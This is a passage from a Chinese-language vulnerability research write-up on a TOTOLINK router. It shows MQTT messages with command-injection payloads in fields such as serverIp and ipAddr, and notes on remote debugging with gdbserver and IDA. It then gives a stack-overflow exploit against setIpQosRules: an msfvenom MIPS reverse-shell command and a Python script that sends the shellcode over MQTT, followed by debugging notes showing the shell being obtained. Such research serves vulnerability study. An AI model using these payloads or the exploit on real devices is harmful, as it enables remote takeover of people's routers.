    "serverIp":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/updateWifiInfo;",
    "newMd5":123
}

image.png

image.png

6.5.3 meshInfoKick 命令执行
totolink/router/setting/meshInfoKick
    
{
    "topicurl":"setting/meshInfoKick",
    "ipAddr":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/meshInfoKick;"
}

image.png

有点小问题,还没调试好

6.6 lan.so、wan.so、wps.so

没找到

7.1 gdbserver调试

被调试的机器下载gdbserver,然后启动 gdbserver 192.168.xx.xx:1234 ./helloworld,或者进行attach进程

root@VM-24-10-ubuntu:/home/ubuntu/gdb# ./gdbserver-7.10.1-x64 :80 --attach 17031
Attached; pid = 17031
Listening on port 80

https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver

调试机器开启gdb后连接即可 (gdb) target remote 192.168.xx.xx:1234

pwndbg> target remote xxxxxx:80
Remote debugging using xxxxxxxx:80
Reading /home/ubuntu/gdb/pwn2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /home/ubuntu/gdb/pwn2 from remote target...
Reading symbols from target:/home/ubuntu/gdb/pwn2...
(No debugging symbols found in target:/home/ubuntu/gdb/pwn2)
0x0000000000400a40 in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

在这里踩了很多坑,很多时候连上能成功,但是ni执行的时候就出问题了,立马断掉,进程就会挂掉,尝试很多不同的gdbserver,自己也尝试编译了一下,都失败了,马上要放弃的时候,又找了一个版本https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

rapid7编译的,可以正常使用了

7.2 ida动态调试\远程调试

和gdbserver联动

7.2.1附加调试(无符号信息)

image.png

这种方式没有反汇编的函数信息等

image.png

设置mipsel

选择 Processor type

基本命令 https://blog.csdn.net/m0_52164435/article/details/124871122

image.png

7.2.2 运行调试(有符号信息)

先加载二进制文件,main函数处下断点、debugger--process options 设置好ip和端口

image.png

被调试那里开启服务,然后debugger-attach to process即可

image.png

如果不确定本地的版本和远程的时候一样可以导出二进制文件

cat ./cs_broker  | /tmp/busybox-mipsel base64        # 编码过程
# 将base64编码的内容保存到本地文件pcap64
cat cs | base64 -d > cs_broker         # 解码过程

./gdbserver.mipsle :9999 --attach 1335 ida能够成功连接上,但是ida那边运行后,一发送mqtt包就会蹦.. 偶尔能调试成功,能单步走..比较玄学,因为gdb那边调试没用问题,就先用gdb进行调试了

# ./gdbserver.mipsle :9999 --attach 1335
Attached; pid = 1335
Listening on port 9999
Remote debugging from host 192.168.55.3
Connection closed by foreign host.
    

# ./gdbserver.mipsle :9999 --attach 1335
Attached; pid = 1335
Listening on port 9999
Remote debugging from host 192.168.55.3
ptrace: Input/output error.
input_interrupt, count = 1 c = 36 ('$')
input_interrupt, count = 1 c = 36 ('$')
input_interrupt, count = 1 c = 107 ('k')

好像和二进制文件有关?

The current debugger backend (gdb) does not provide memory information to IDA.
Therefore the memory contents may be invisible by default.
Please use the Debugger/Manual memory regions menu item to configure the memory layout.
It is possible to define just one big region for the whole memory
(IDA will display question marks for missing memory regions in this case).

7.3 filewall.so库中setIpQosRules函数栈溢出调试

int __fastcall setIpQosRules(int a1, int a2, int a3)
{
  ......
  char v14[23]; // [sp+18h] [-B8h] BYREF
  ......
  v12 = (const char *)websGetVar(a2, "comment", &byte_9268);
 ......
  strcpy(v14, v12);
  apmib_set(131385, v14);
  apmib_set(65848, v14);
  apmib_update_web(4);
  system("sysconf firewall");
  websSetCfgResponse(a1, a3, "0", "reserv");
  return 0;
}

comment明显存在溢出,复制给栈上数据v14

7.3.1 利用脚本

生成反弹shell payload:msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.55.4 LPORT=9999 -f py -o mips.txt

from pwn import *
import paho.mqtt.client as mqtt

buf = "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += "\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += "\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += "\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += "\x27\x0f\x0e\x3c\x27\x0f\xce\x35\xe4\xff\xae\xaf"
buf += "\x37\x02\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += "\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += "\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += "\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += "\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += "\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += "\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += "\x0c\x01\x01\x01"

test = "a"*218

client = mqtt.Client()
client.connect("192.168.55.1",1883,60)
client.publish('totolink/router/setting/setIpQosRules',payload='{"topicurl":"setting/setIpQosRules","comment":"xx'+test+'\xb4\x43\x41"}'+'bling'+buf)

偏移量具体多少可以在调试的时候查看

7.3.2 调试案例

路由器上
# ./gdbserver.mipsle :9999 --attach 14725
Attached; pid = 14725
Listening on port 9999
    

调试机器
target remote 192.168.55.1:9999

    
   
    
vmmap
例如查到firewall.so的基地址是0x778ec000

.text:00003414                 la      $t9, strcpy
.text:00003418                 jalr    $t9 ; strcpy
.text:0000341C                 move    $a1, $s1         # src
.text:00003420                 lw      $gp, 0xD0+var_C0($sp)
.text:00003424                 li      $a0, 0x20139

ida中看到strcpy的地址是00003418, 于是下断点在0x778ec000+0x0003418 = 0x778ef418
b *0x778ef418
    
    
此外,为了更好的查看覆盖返回地址情况
    
    
可以在开头再下一个断点,     sw      $ra, 0xD0+var_s24($sp) 这个是存放返回地址的指令,放在$ra寄存器里
.text:0000329C                 li      $gp, (_fdata+0x7FF0 - .)
.text:000032A4                 addu    $gp, $t9
.text:000032A8                 addiu   $sp, -0xF8
.text:000032AC                 sw      $ra, 0xD0+var_s24($sp)

以及下断点到最后,查看最后劫持返回地址的效果
.text:000034C4                 jr      $ra
    
然后c继续执行
    
由于第一次进行strcpy会会进行strcpy动态链接的符号解析等等,而且gdb中不知道为什么finish等不能用,所以先随便发点东西,不触发漏洞,在第二次运行时,再触发漏洞,具体查看strcpy的过程( 非常容易打挂...调试了很多次)
     

这四行代码是复制语句,将输入复制到栈上,

image.png

复制成功后,看到已经把返回地址修改了

0x4143b4就是shellcode的开始

image.png

返回处 跳到shellcode 开始执行

image.png

获取反弹shell

image.png

7.3.3 遇到的坑
刚开始调试的时候,发现怎么也弹不回shell,(在mac上开的nc,后来发现其实链接已经建立了,),调试了好久

image.png

其实已经收到了shell,但是没有提示显示....

image.png

八、参考

https://blingblingxuanxuan.github.io/2021/09/25/analysis-of-totolink-t10/

https://zone.huoxian.cn/d/2676-totolink-cve-2022-25084

https://www.52pojie.cn/thread-1715223-1-1.html

https://github.com/gtrboy/totolink

https://github.com/SeppPenner/mqttfx171-backup/tree/master/Binaries

https://web.archive.org/web/20220504092050/http://www.jensd.de/apps/mqttfx/1.7.1/

https://mqttfx.jensd.de/index.php/download

https://blog.csdn.net/dong__ge/article/details/126322091

https://blog.csdn.net/m0_43406494/article/details/124815879

参与评论

0 / 200

全部评论 0

暂无人评论
文章目录

一、环境搭建

1.1 获取和解压固件

1.2 流量转发

1.3 虚拟环境的各种问题

1.4 真机

二、 获取初始shell

2.1 telnet

2.2 password获取

三、框架分析

3.1 目录梳理

四、逻辑功能、业务流程梳理

4.1 登陆

4.1.1 密码泄露

4.2 admin后台

4.2.1 password.asp

4.2.2 所以asp里的功能 是怎么对应到后面的?

4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢?

4.2.4 如何加载库的呢?

4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢?

4.2.6 mqtt代理如何和服务端和客户端通信的呢?

4.2.7 完整的流程

五、mqtt分析

5.1 抓包分析:(以telnet为例)

5.1.1 安装libpcap/tcpdump

5.1.2 流量包分析

5.1.3 利用pwntools构造mqtt的数据包

5.1.4 mqtt.fx使用

六、so库命令执行漏洞挖掘

6.1 system.so

6.1.1 getPasswordCfg 未授权获取用户名密码

6.1.2 setPasswordCfg 未授权修改密码

6.1.3 NTPSyncWithHost 命令执行

6.1.4 setNTPCfg 命令执行

6.2 upgrade.so

6.2.1 setUpgradeFW 命令执行

6.2.2 setUploadSetting 命令执行

6.2.3 slaveUpgrade 命令执行

6.3 global.so

6.3.1 setLanguageCfg 命令执行

6.3.2 getLanguageCfg 信息泄露

6.4 firewall.so

6.5 wireless.so

6.5.1 setWebWlanIdx 命令执行

6.5.2 updateWifiInfo 命令执行

6.5.3 meshInfoKick 命令执行

6.6 lan.so、wan.so、wps.so

7.1 gdbserver调试

7.2 ida动态调试\远程调试

7.2.1附加调试(无符号信息)

7.2.2 运行调试(有符号信息)

7.3 filewall.so库中setIpQosRules函数栈溢出调试

八、参考

投稿
签到
联系我们
关于我们